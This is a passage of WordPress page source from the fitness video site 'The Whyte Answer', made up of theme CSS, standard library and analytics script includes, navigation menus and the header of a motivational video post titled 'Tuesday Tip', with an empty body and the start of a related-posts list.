}.vlog-highlight .entry-category,.vlog-highlight .entry-category a,.vlog-highlight .meta-item a,.vlog-highlight .meta-item span,.vlog-highlight .meta-item,.vlog-highlight.widget_tag_cloud a:hover{color: rgba(255,255,255,0.5);}.vlog-highlight {background: #34495e;color: #ffffff;border: none;}.vlog-highlight .widget-title{border-bottom-color: rgba(255,255,255,0.1);}.vlog-highlight .entry-title,.vlog-highlight .entry-category a:hover,.vlog-highlight .action-item,.vlog-highlight .meta-item a:hover,.vlog-highlight .widget-title span,.vlog-highlight .entry-title a,.widget.vlog-highlight ul li a,.vlog-highlight.widget_calendar table tfoot tr td a,.vlog-highlight .widget_tag_cloud a{color: #ffffff;}.vlog-highlight .widget_calendar #today:after{ background: rgba(255,255,255,0.1);}.widget.vlog-highlightinput[type=number], .widget.vlog-highlight input[type=text], .widget.vlog-highlight input[type=email], .widget.vlog-highlight input[type=url], .widget.vlog-highlight input[type=tel], .widget.vlog-highlight input[type=date], .widget.vlog-highlight input[type=password], .widget.vlog-highlight select, .widget.vlog-highlight textarea{background: #FFF;color: #111;border-color: rgba(255,255,255,0.1);}.vlog-highlight .vlog-button-search{color:#111;}.vlog-bg-box,.author .vlog-mod-desc,.vlog-bg{background: rgba(17,17,17,0.05);}.vlog-pagination .current{background: rgba(17,17,17,0.1);}.vlog-site-footer{background: #313840;color: #ffffff;}.vlog-site-footer .widget-title,.vlog-site-footer .widget_calendar table tbody td a,.vlog-site-footer .widget_calendar table tfoot tr td a,.vlog-site-footer .widget.mks_author_widget h3,.vlog-site-footer.mks_author_link,.vlog-site-footer .vlog-button:hover,.vlog-site-footer .meta-item a:hover,.vlog-site-footer .entry-category a:hover {color: #ffffff;}.vlog-site-footer a,.vlog-site-footer ul li a,.vlog-site-footer .widget_calendar table tbody td a:hover,.vlog-site-footer .widget_calendar table tfoot tr td a:hover{color: rgba(255,255,255,0.8);}.vlog-site-footer .meta-item a,.vlog-site-footer .meta-item .meta-icon,.vlog-site-footer .widget_recent_entries li .post-date,.vlog-site-footer .meta-item{color: rgba(255,255,255,0.5);}.vlog-site-footer .meta-comments:hover,.vlog-site-footer ul li a:hover,.vlog-site-footer a:hover{color: #ffffff;}.vlog-site-footer .widget .vlog-count,.vlog-site-footer .widget_calendar table tbody td a,.vlog-site-footer a.mks_author_link,.vlog-site-footer a.mks_author_link:hover,.vlog-site-footer .widget_calendar table tbody td a:hover{color: #313840;background: #ffffff;}.vlog-site-footer .widget .vlog-search-form input[type=text],.vlog-site-footer select{ background: #FFF; color: #111; border:#ffffff;}.vlog-site-footer .widget .vlog-search-form .vlog-button-search{color: #111;}.vlog-site-footer .vlog-mod-actions .vlog-all-link, .vlog-site-footer .vlog-slider-controls .owl-next, .vlog-site-footer .vlog-slider-controls .owl-prev{ color: rgba(255,255,255,0.8); border-color:rgba(255,255,255,0.8);}.vlog-site-footer .vlog-mod-actions .vlog-all-link:hover, .vlog-site-footer .vlog-slider-controls .owl-next:hover, .vlog-site-footer .vlog-slider-controls .owl-prev:hover{ color: rgba(255,255,255,1); border-color:rgba(255,255,255,1);}.entry-content-single ul > li:before,.vlog-comments .comment-content ul > li:before{color: #365899;}input[type=number], input[type=text], input[type=email],input[type=search], input[type=url], input[type=tel], input[type=date], input[type=password], select, textarea,.widget,.vlog-comments,.comment-list,.comment .comment-respond,.widget .vlog-search-form input[type=text],.vlog-content .vlog-prev-next-nav,.vlog-wl-action,.vlog-mod-desc .vlog-search-form,.entry-content table,.entry-content td, .entry-content th,.entry-content-single table,.entry-content-single td, .entry-content-single th,.vlog-comments table,.vlog-comments td, .vlog-comments th,.wp-block-calendar tfoot{border-color: rgba(17,17,17,0.1);}input[type=number]:focus, input[type=text]:focus, input[type=email]:focus, input[type=url]:focus, input[type=tel]:focus, input[type=date]:focus, input[type=password]:focus, select:focus, textarea:focus{border-color: rgba(17,17,17,0.3);}input[type=number], input[type=text], input[type=email], input[type=url], input[type=tel], input[type=date], input[type=password], select, textarea{background-color: rgba(17,17,17,0.03);}body div.wpforms-container-full .wpforms-form input, body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea {background-color: rgba(17,17,17,0.03) !important; border-color: rgba(17,17,17,0.1) !important;}.vlog-button,input[type="submit"],.woocommerce-product-search button[type="submit"],.wpcf7-submit,input[type="button"],body div.wpforms-container-full .wpforms-form input[type=submit], body div.wpforms-container-full .wpforms-form button[type=submit], body div.wpforms-container-full .wpforms-form .wpforms-page-button,body div.wpforms-container-full .wpforms-form input[type=submit]:hover, body div.wpforms-container-full .wpforms-form button[type=submit]:hover, body div.wpforms-container-full .wpforms-form .wpforms-page-button:hover {background-color: #365899;}.vlog-comments .comment-content{color: rgba(17,17,17,0.8);}li.bypostauthor > .comment-body,.vlog-rm {border-color: #365899;}.vlog-ripple-circle{stroke: #365899;}.vlog-cover-bg,.vlog-featured-2 .vlog-featured-item,.vlog-featured-3 .vlog-featured-item,.vlog-featured-4 .owl-item,.vlog-featured-5{height: 600px;}.vlog-fa-5-wrapper{height: 528px;}.vlog-fa-5-wrapper .fa-item{height: 228px;}div.bbp-submit-wrapper button, #bbpress-forums #bbp-your-profile fieldset.submit button{color:#FFF;background-color: #365899;}.vlog-breadcrumbs a:hover{color: #111111;}.vlog-breadcrumbs{ border-bottom: 1px solid rgba(17,17,17,0.1);}.vlog-special-tag-label{background-color: rgba(54,88,153,0.5);}.vlog-special-tag-label{background-color: rgba(54,88,153,0.5);}.entry-image:hover .vlog-special-tag-label{background-color: rgba(54,88,153,0.8);}.vlog-format-inplay .entry-category a,.vlog-format-inplay .action-item:hover,.vlog-featured .vlog-format-inplay .meta-icon,.vlog-featured .vlog-format-inplay .meta-item,.vlog-format-inplay .meta-comments a,.vlog-featured-2 .vlog-format-inplay .entry-category a,.vlog-featured-2 .vlog-format-inplay .action-item:hover,.vlog-featured-2 .vlog-format-inplay .meta-icon,.vlog-featured-2 .vlog-format-inplay .meta-item,.vlog-featured-2 .vlog-format-inplay .meta-comments a{color: rgba(17,17,17,0.7);}.site-title{text-transform: uppercase;}.site-description{text-transform: uppercase;}.vlog-site-header{text-transform: uppercase;}.vlog-top-bar{text-transform: uppercase;}.entry-title{text-transform: none;}.entry-category a{text-transform: uppercase;}.vlog-mod-title, comment-author .fn{text-transform: none;}.widget-title{text-transform: uppercase;}.has-small-font-size{ font-size: 1.1rem;}.has-large-font-size{ font-size: 1.8rem;}.has-huge-font-size{ font-size: 2.1rem;}@media(min-width: 768px){.has-small-font-size{ font-size: 1.2rem;}.has-normal-font-size{ font-size: 1.6rem;}.has-large-font-size{ font-size: 2.2rem;}.has-huge-font-size{ font-size: 2.8rem;}}.has-vlog-acc-background-color{ background-color: #365899;}.has-vlog-acc-color{ color: #365899;}.has-vlog-meta-background-color{ background-color: #999999;}.has-vlog-meta-color{ color: #999999;}.has-vlog-txt-background-color{ background-color: #111111;}.has-vlog-txt-color{ color: #111111;}.has-vlog-bg-background-color{ background-color: #ffffff;}.has-vlog-bg-color{ color: #ffffff;}.has-vlog-highlight-txt-background-color{ background-color: #ffffff;}.has-vlog-highlight-txt-color{ color: #ffffff;}.has-vlog-highlight-bg-background-color{ background-color: #34495e;}.has-vlog-highlight-bg-color{ color: #34495e;}
/*# sourceURL=vlog-main-inline-css */
</style>
<link rel='stylesheet' id='vlog_child_load_scripts-css' href='https://thewhyteanswer.com/wp-content/themes/vlog-child/style.css?ver=2.5.2' media='screen' />
<link rel='stylesheet' id='meks-ads-widget-css' href='https://thewhyteanswer.com/wp-content/plugins/meks-easy-ads-widget/css/style.css?ver=2.0.9' media='all' />
<link rel='stylesheet' id='meks-flickr-widget-css' href='https://thewhyteanswer.com/wp-content/plugins/meks-simple-flickr-widget/css/style.css?ver=1.3' media='all' />
<link rel='stylesheet' id='meks-author-widget-css' href='https://thewhyteanswer.com/wp-content/plugins/meks-smart-author-widget/css/style.css?ver=1.1.5' media='all' />
<link rel='stylesheet' id='meks-social-widget-css' href='https://thewhyteanswer.com/wp-content/plugins/meks-smart-social-widget/css/style.css?ver=1.6.5' media='all' />
<link rel='stylesheet' id='meks-themeforest-widget-css' href='https://thewhyteanswer.com/wp-content/plugins/meks-themeforest-smart-widget/css/style.css?ver=1.6' media='all' />
<script id="jquery-core-js" src="https://thewhyteanswer.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://thewhyteanswer.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="imagesloaded-js" src="https://thewhyteanswer.com/wp-includes/js/imagesloaded.min.js?ver=5.0.0"></script>
<script id="masonry-js" src="https://thewhyteanswer.com/wp-includes/js/masonry.min.js?ver=4.2.2"></script>
<script id="ticker-js" src="https://thewhyteanswer.com/wp-content/plugins/blog-designer/public/js/ticker.min.js?ver=1.0"></script>
<script id="wp-blog-designer-script-js" src="https://thewhyteanswer.com/wp-content/plugins/blog-designer/public/js/designer.js?ver=1.0"></script>
<link rel="https://api.w.org/" href="https://thewhyteanswer.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://thewhyteanswer.com/wp-json/wp/v2/posts/1399" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://thewhyteanswer.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1.1" />
<link rel='shortlink' href='https://thewhyteanswer.com/?p=1399' />
<meta name="generator" content="Redux 4.5.14" /><meta name="generator" content="Site Kit by Google 1.187.0" /><meta name="generator" content="Powered by WPBakery Page Builder - drag and drop page builder for WordPress."/>

<!-- Google Tag Manager snippet added by Site Kit -->
<script>
			( function( w, d, s, l, i ) {
				w[l] = w[l] || [];
				w[l].push( {'gtm.start': new Date().getTime(), event: 'gtm.js'} );
				var f = d.getElementsByTagName( s )[0],
					j = d.createElement( s ), dl = l != 'dataLayer' ? '&l=' + l : '';
				j.async = true;
				j.src = 'https://www.googletagmanager.com/gtm.js?id=' + i + dl;
				f.parentNode.insertBefore( j, f );
			} )( window, document, 'script', 'dataLayer', 'GTM-PWXJ9K7' );
			
</script>

<!-- End Google Tag Manager snippet added by Site Kit -->
<meta name="generator" content="Powered by Slider Revolution 6.7.38 - responsive, Mobile-Friendly Slider Plugin for WordPress with comfortable drag and drop interface." />
<link rel="icon" href="https://thewhyteanswer.com/wp-content/uploads/2017/02/cropped-80-GW-logo-print-cmyk-300dpi-transp-main-colour-150x150.png" sizes="32x32" />
<link rel="icon" href="https://thewhyteanswer.com/wp-content/uploads/2017/02/cropped-80-GW-logo-print-cmyk-300dpi-transp-main-colour-300x300.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://thewhyteanswer.com/wp-content/uploads/2017/02/cropped-80-GW-logo-print-cmyk-300dpi-transp-main-colour-300x300.png" />
<meta name="msapplication-TileImage" content="https://thewhyteanswer.com/wp-content/uploads/2017/02/cropped-80-GW-logo-print-cmyk-300dpi-transp-main-colour-300x300.png" />
<script>function setREVStartSize(e){
			//window.requestAnimationFrame(function() {
				window.RSIW = window.RSIW===undefined ? window.innerWidth : window.RSIW;
				window.RSIH = window.RSIH===undefined ? window.innerHeight : window.RSIH;
				try {
					var pw = document.getElementById(e.c).parentNode.offsetWidth,
						newh;
					pw = pw===0 || isNaN(pw) || (e.l=="fullwidth" || e.layout=="fullwidth") ? window.RSIW : pw;
					e.tabw = e.tabw===undefined ? 0 : parseInt(e.tabw);
					e.thumbw = e.thumbw===undefined ? 0 : parseInt(e.thumbw);
					e.tabh = e.tabh===undefined ? 0 : parseInt(e.tabh);
					e.thumbh = e.thumbh===undefined ? 0 : parseInt(e.thumbh);
					e.tabhide = e.tabhide===undefined ? 0 : parseInt(e.tabhide);
					e.thumbhide = e.thumbhide===undefined ? 0 : parseInt(e.thumbhide);
					e.mh = e.mh===undefined || e.mh=="" || e.mh==="auto" ? 0 : parseInt(e.mh,0);
					if(e.layout==="fullscreen" || e.l==="fullscreen")
						newh = Math.max(e.mh,window.RSIH);
					else{
						e.gw = Array.isArray(e.gw) ? e.gw : [e.gw];
						for (var i in e.rl) if (e.gw[i]===undefined || e.gw[i]===0) e.gw[i] = e.gw[i-1];
						e.gh = e.el===undefined || e.el==="" || (Array.isArray(e.el) && e.el.length==0)? e.gh : e.el;
						e.gh = Array.isArray(e.gh) ? e.gh : [e.gh];
						for (var i in e.rl) if (e.gh[i]===undefined || e.gh[i]===0) e.gh[i] = e.gh[i-1];
											
						var nl = new Array(e.rl.length),
							ix = 0,
							sl;
						e.tabw = e.tabhide>=pw ? 0 : e.tabw;
						e.thumbw = e.thumbhide>=pw ? 0 : e.thumbw;
						e.tabh = e.tabhide>=pw ? 0 : e.tabh;
						e.thumbh = e.thumbhide>=pw ? 0 : e.thumbh;
						for (var i in e.rl) nl[i] = e.rl[i]<window.RSIW ? 0 : e.rl[i];
						sl = nl[0];
						for (var i in nl) if (sl>nl[i] && nl[i]>0) { sl = nl[i]; ix=i;}
						var m = pw>(e.gw[ix]+e.tabw+e.thumbw) ? 1 : (pw-(e.tabw+e.thumbw)) / (e.gw[ix]);
						newh =  (e.gh[ix] * m) + (e.tabh + e.thumbh);
					}
					var el = document.getElementById(e.c);
					if (el!==null && el) el.style.height = newh+"px";
					el = document.getElementById(e.c+"_wrapper");
					if (el!==null && el) {
						el.style.height = newh+"px";
						el.style.display = "block";
					}
				} catch(e){
					console.log("Failure at Presize of Slider:" + e)
				}
			//});
		  };</script>
<noscript><style> .wpb_animate_when_almost_visible { opacity: 1; }</style></noscript><link rel='stylesheet' id='rs-plugin-settings-css' href='//thewhyteanswer.com/wp-content/plugins/revslider/sr6/assets/css/rs6.css?ver=6.7.38' media='all' />
<style id="rs-plugin-settings-inline-css">
#rs-demo-id {}
/*# sourceURL=rs-plugin-settings-inline-css */
</style>

</head>

<body class="wp-singular post-template-default single single-post postid-1399 single-format-video wp-theme-vlog wp-child-theme-vlog-child vlog-v_2_5_2 vlog-child wpb-js-composer js-comp-ver-6.7.0 vc_responsive">

	    
                
                
        <header id="header" class="vlog-site-header vlog-header-shadow hidden-xs hidden-sm">
            
            <div class="vlog-header-wrapper">
	<div class="container">
		<div class="vlog-header-2 vlog-header-middle">
			<div class="vlog-slot-l">
				
<div class="vlog-site-branding vlog-logo-only">

			<span class="site-title h1"><a href="https://thewhyteanswer.com/" rel="home"><img class="vlog-logo" src="https://thewhyteanswer.com/wp-content/uploads/2017/02/80-GW-logo-print-cmyk-300dpi-transp-main-colour.png" alt="The Whyte Answer"></a></span>
	
	</div>

			</div>

			<div class="vlog-slot-r">
				<nav class="vlog-main-navigation">	
				<ul id="menu-twa" class="vlog-main-nav vlog-menu"><li id="menu-item-1682" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-1682"><a href="https://thewhyteanswer.com/">Home</a><li id="menu-item-1781" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1781"><a href="https://thewhyteanswer.com/thewhyteclinic/">The Whyte Clinic</a><li id="menu-item-1782" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-1782"><a href="https://thewhyteanswer.com/videos/">Videos</a>
<ul class="sub-menu">
	<li id="menu-item-2136" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-2136"><a href="https://thewhyteanswer.com/category/anatomy-of-an-athlete/">Anatomy of an athlete</a>	<li id="menu-item-677" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-677"><a href="https://thewhyteanswer.com/series/injury-and-rehab/">INJURY AND REHAB</a>	<li id="menu-item-680" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-680"><a href="https://thewhyteanswer.com/series/elite-performance/">ELITE PERFORMANCE</a>	<li id="menu-item-681" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-681"><a href="https://thewhyteanswer.com/series/pregnancy-and-exercise/">PREGNANCY AND EXERCISE</a>	<li id="menu-item-682" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-682"><a href="https://thewhyteanswer.com/series/nutrition/">NUTRITION</a>	<li id="menu-item-676" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-676"><a href="https://thewhyteanswer.com/series/training-programmes/">TRAINING PROGRAMMES</a></ul>
<li id="menu-item-1970" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1970"><a href="https://thewhyteanswer.com/insights/">Insights</a><li id="menu-item-575" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-575"><a href="https://thewhyteanswer.com/the-whyte-house/">WHYTE HOUSE</a><li id="menu-item-1188" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1188"><a href="https://thewhyteanswer.com/shop/">SHOP</a><li id="vlog-menu-item-more" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children"><a href="javascript:void(0)">&middot;&middot;&middot;</a><ul class="sub-menu"></ul></li></ul>	</nav>					<div class="vlog-actions-menu">
	<ul class="vlog-menu">
										<li class="vlog-actions-button vlog-action-search">
	<span>
		<i class="fv fv-search"></i>
	</span>
	<ul class="sub-menu">
		<form class="vlog-search-form" action="https://thewhyteanswer.com/" method="get"><input name="s" type="text" value="" placeholder="Type here to search..." /><button type="submit" class="vlog-button-search"><i class="fv fv-search"></i></button>
</form>	</ul>
</li>					<li class="vlog-actions-button vlog-watch-later">
	
			
		<span>
			<i class="fv fv-watch-later"></i>
						<span class="vlog-watch-later-count pulse" style="display:none;">0</span>
		</span>

		<ul class="sub-menu">

			<li class="vlog-menu-posts">
							</li>

			<li class="vlog-wl-empty" style="">
				<p class="text-center"><i class="fv fv-watch-later"></i> No videos yet!</p>
				<p class="text-center vlog-small-border">Click on &quot;Watch later&quot; to put videos here</p>
			</li>

		</ul>

		
		</li>			</ul>
	</div>
			</div>
		</div>
	</div>
</div>    
        </header>
    
                        					
<div id="vlog-sticky-header" class="vlog-sticky-header vlog-site-header vlog-header-shadow vlog-header-bottom hidden-xs hidden-sm">
	
		<div class="container">
				<div class="vlog-slot-l">
										
<div class="vlog-site-branding vlog-logo-only">

			<span class="site-title h1"><a href="https://thewhyteanswer.com/" rel="home"><img class="vlog-logo" src="https://thewhyteanswer.com/wp-content/uploads/2017/02/80-GW-logo-print-cmyk-300dpi-transp-main-colour.png" alt="The Whyte Answer"></a></span>
	
	</div>

				</div>
				<div class="vlog-slot-c">
											<nav class="vlog-main-navigation">	
				<ul id="menu-twa-1" class="vlog-main-nav vlog-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-1682"><a href="https://thewhyteanswer.com/">Home</a><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1781"><a href="https://thewhyteanswer.com/thewhyteclinic/">The Whyte Clinic</a><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-1782"><a href="https://thewhyteanswer.com/videos/">Videos</a>
<ul class="sub-menu">
	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-2136"><a href="https://thewhyteanswer.com/category/anatomy-of-an-athlete/">Anatomy of an athlete</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-677"><a href="https://thewhyteanswer.com/series/injury-and-rehab/">INJURY AND REHAB</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-680"><a href="https://thewhyteanswer.com/series/elite-performance/">ELITE PERFORMANCE</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-681"><a href="https://thewhyteanswer.com/series/pregnancy-and-exercise/">PREGNANCY AND EXERCISE</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-682"><a href="https://thewhyteanswer.com/series/nutrition/">NUTRITION</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-676"><a href="https://thewhyteanswer.com/series/training-programmes/">TRAINING PROGRAMMES</a></ul>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1970"><a href="https://thewhyteanswer.com/insights/">Insights</a><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-575"><a href="https://thewhyteanswer.com/the-whyte-house/">WHYTE HOUSE</a><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1188"><a href="https://thewhyteanswer.com/shop/">SHOP</a><li id="vlog-menu-item-more" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children"><a href="javascript:void(0)">&middot;&middot;&middot;</a><ul class="sub-menu"></ul></li></ul>	</nav>					   

				</div> 	
				<div class="vlog-slot-r">
												<div class="vlog-actions-menu">
	<ul class="vlog-menu">
										<li class="vlog-actions-button vlog-action-search">
	<span>
		<i class="fv fv-search"></i>
	</span>
	<ul class="sub-menu">
		<form class="vlog-search-form" action="https://thewhyteanswer.com/" method="get"><input name="s" type="text" value="" placeholder="Type here to search..." /><button type="submit" class="vlog-button-search"><i class="fv fv-search"></i></button>
</form>	</ul>
</li>					<li class="vlog-actions-button vlog-watch-later">
	
			
		<span>
			<i class="fv fv-watch-later"></i>
						<span class="vlog-watch-later-count pulse" style="display:none;">0</span>
		</span>

		<ul class="sub-menu">

			<li class="vlog-menu-posts">
							</li>

			<li class="vlog-wl-empty" style="">
				<p class="text-center"><i class="fv fv-watch-later"></i> No videos yet!</p>
				<p class="text-center vlog-small-border">Click on &quot;Watch later&quot; to put videos here</p>
			</li>

		</ul>

		
		</li>			</ul>
	</div>
					 
				</div>
		</div>

</div>				            
        <div id="vlog-responsive-header" class="vlog-responsive-header hidden-lg hidden-md">
	<div class="container">
				<div class="vlog-site-branding mini">
		<span class="site-title h1"><a href="https://thewhyteanswer.com/" rel="home"><img class="vlog-logo-mini" src="https://thewhyteanswer.com/wp-content/uploads/2017/02/80-GW-logo-print-cmyk-300dpi-transp-main-colour.png" alt="The Whyte Answer"></a></span>
</div>		
		<ul class="vlog-responsive-actions">
																	<li class="vlog-actions-button vlog-action-search">
	<span>
		<i class="fv fv-search"></i>
	</span>
	<ul class="sub-menu">
		<form class="vlog-search-form" action="https://thewhyteanswer.com/" method="get"><input name="s" type="text" value="" placeholder="Type here to search..." /><button type="submit" class="vlog-button-search"><i class="fv fv-search"></i></button>
</form>	</ul>
</li>											<li class="vlog-actions-button vlog-watch-later">
	
			
		<span>
			<i class="fv fv-watch-later"></i>
						<span class="vlog-watch-later-count pulse" style="display:none;">0</span>
		</span>

		<ul class="sub-menu">

			<li class="vlog-menu-posts">
							</li>

			<li class="vlog-wl-empty" style="">
				<p class="text-center"><i class="fv fv-watch-later"></i> No videos yet!</p>
				<p class="text-center vlog-small-border">Click on &quot;Watch later&quot; to put videos here</p>
			</li>

		</ul>

		
		</li>										</ul>
	</div>

	<div id="dl-menu" class="dl-menuwrapper">
		<button class="dl-trigger"><i class="fa fa-bars"></i></button>	

						<ul id="menu-twa-2" class="vlog-mob-nav dl-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-1682"><a href="https://thewhyteanswer.com/">Home</a><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1781"><a href="https://thewhyteanswer.com/thewhyteclinic/">The Whyte Clinic</a><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-1782"><a href="https://thewhyteanswer.com/videos/">Videos</a>
<ul class="sub-menu">
	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-2136"><a href="https://thewhyteanswer.com/category/anatomy-of-an-athlete/">Anatomy of an athlete</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-677"><a href="https://thewhyteanswer.com/series/injury-and-rehab/">INJURY AND REHAB</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-680"><a href="https://thewhyteanswer.com/series/elite-performance/">ELITE PERFORMANCE</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-681"><a href="https://thewhyteanswer.com/series/pregnancy-and-exercise/">PREGNANCY AND EXERCISE</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-682"><a href="https://thewhyteanswer.com/series/nutrition/">NUTRITION</a>	<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-676"><a href="https://thewhyteanswer.com/series/training-programmes/">TRAINING PROGRAMMES</a></ul>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1970"><a href="https://thewhyteanswer.com/insights/">Insights</a><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-575"><a href="https://thewhyteanswer.com/the-whyte-house/">WHYTE HOUSE</a><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1188"><a href="https://thewhyteanswer.com/shop/">SHOP</a></ul>				
	</div>

</div>
    	<div id="content" class="vlog-site-content">

	<article id="post-1399" class="post-1399 post type-post status-publish format-video has-post-thumbnail hentry category-better-with-bean category-motivation post_format-post-format-video">

							<div class="vlog-featured vlog-featured-1 vlog-single-cover  ">

		<div class="vlog-featured-item">

						
			<div class="vlog-cover-bg video">
				
				    <a class="vlog-cover" href="javascript: void(0);" data-action="video"
       data-id="1399">
        <img width="1280" height="600" src="https://thewhyteanswer.com/wp-content/uploads/2020/04/tuesday-tip-1280x600.jpg" class="attachment-vlog-cover-full size-vlog-cover-full wp-post-image" alt="The Whyte Answer Greg Whyte talking about having patience, keep doing what you&#039;re doing, motivational talking." decoding="async" fetchpriority="high" />        <span class="vlog-format-action large""><i class="fa fa-play"></i></span>    </a>

    <div class="vlog-format-content video">

        </div>
				
				
	
	
		<nav class="vlog-prev-next-cover-nav vlog-prev-next-nav">

				
					<div class="vlog-prev-link">
						<a href="https://thewhyteanswer.com/wednesday-wisdom-3/">
							<span class="vlog-pn-ico"><i class="fa fa fa-chevron-left"></i><span>Previous</span></span>
							<span class="vlog-pn-link">Wednesday Wisdom</span>
						</a>

					</div>

				
				
					<div class="vlog-next-link">
						<a href="https://thewhyteanswer.com/thursday-thought-2/">
							<span class="vlog-pn-ico"><span>Next</span><i class="fa fa fa-chevron-right"></i></span>
							<span class="vlog-pn-link">Thursday Thought</span>
						</a>
					</div>

				
		</nav>

	
				
			</div>

			
				<div class="vlog-featured-info container vlog-cover-hover-mode vlog-f-hide">

					<div class="row">
							
							<div class="col-lg-12">

								<div class="vlog-featured-info-bg vlog-highlight">
						
									<div class="entry-header">

						                																				    										
										
																				    <span class="entry-category"><a href="https://thewhyteanswer.com/category/better-with-bean/" class="vlog-cat-83">Better with Bean</a>, <a href="https://thewhyteanswer.com/category/motivation/" class="vlog-cat-54">Motivation</a></span>
										
						                <h1 class="entry-title">Tuesday Tip</h1>						                
							          		                				<div class="entry-meta"><div class="meta-item meta-date"><span class="updated meta-icon">16th April 2020</span></div><div class="meta-item meta-views">22 views</div><div class="meta-item meta-rtime">1 min read</div></div>
		            				  
						             </div>

						             							             <div class="entry-actions vlog-vcenter-actions">
							             	<a class="action-item watch-later" href="javascript:void(0);" data-id="1399" data-action="add"><i class="fv fv-watch-later"></i> <span class="add">Watch Later</span><span class="remove hidden">Remove</span></a><a class="action-item cinema-mode" href="javascript:void(0);" data-id="1399"><i class="fv fv-fullscreen"></i> Cinema Mode</a>							             </div>
							         
					             </div>

					        </div>

					</div>

				</div>
			
			<div class="vlog-format-inplay vlog-bg">
	<div class="container">

		

	</div>
</div>
		</div>

		

</div>		
		
				
		<div class="vlog-section ">

			<div class="container">

					
					<div class="vlog-content vlog-single-content">

						
												
						<div class="entry-content-single">
	
	
	
	
	
	
	
				
</div>
						
												
						
													

	<div id="vlog-related" class="vlog-related-wrapper">	
		<div class="row">
		    <div class="vlog-module module-posts col-lg-12">
		        
		        <div class="vlog-mod-head"><div class="vlog-mod-title"><h4>You may also like</h4></div></div>
			    <div class="row vlog-posts row-eq-height">
			    				     		<article class="vlog-lay-e vlog-post col-lg-4 col-sm-4 col-md-4 col-xs-12 post-1407 post type-post status-publish format-video has-post-thumbnail hentry category-better-with-bean post_format-post-format-video">
	
	    <div class="entry-image">
            <a href="https://thewhyteanswer.com/bulletproof-you-immunity/" title="Bulletproof you immunity" class=""  data-id="1407" data-format="video">
            <img width="232" height="130" src="https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-232x130.jpg" class="attachment-vlog-lay-e size-vlog-lay-e wp-post-image" alt="The Whyte Answer Greg Whyte talking about bulletproofing your immunity." srcset="https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-232x130.jpg 232w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-300x169.jpg 300w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-1024x576.jpg 1024w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-768x432.jpg 768w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-1104x621.jpg 1104w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-366x205.jpg 366w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-534x300.jpg 534w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-165x92.jpg 165w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-249x140.jpg 249w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity-344x193.jpg 344w, https://thewhyteanswer.com/wp-content/uploads/2020/04/bulletproof-you-immunity.jpg 1280w" sizes="(max-width: 232px) 100vw, 232px" />                              <div class="vlog-labels small"><span class="vlog-format-label">Video</span></div>            	                </a>
    </div>
	
	<div class="entry-header">

		                            
        
                    <span class="entry-category"><a href="https://thewhyteanswer.com/category/better-with-bean/" class="vlog-cat-83">Better with Bean</a></span>
                
	    <h2 class="entry-title h5"><a href="https://thewhyteanswer.com/bulletproof-you-immunity/">Bulletproof you immunity</a></h2>
	</div>
    
                        <div class="entry-meta"><div class="meta-item meta-views">15 views</div><div class="meta-item meta-rtime">1 min read</div></div>
            

	    
            

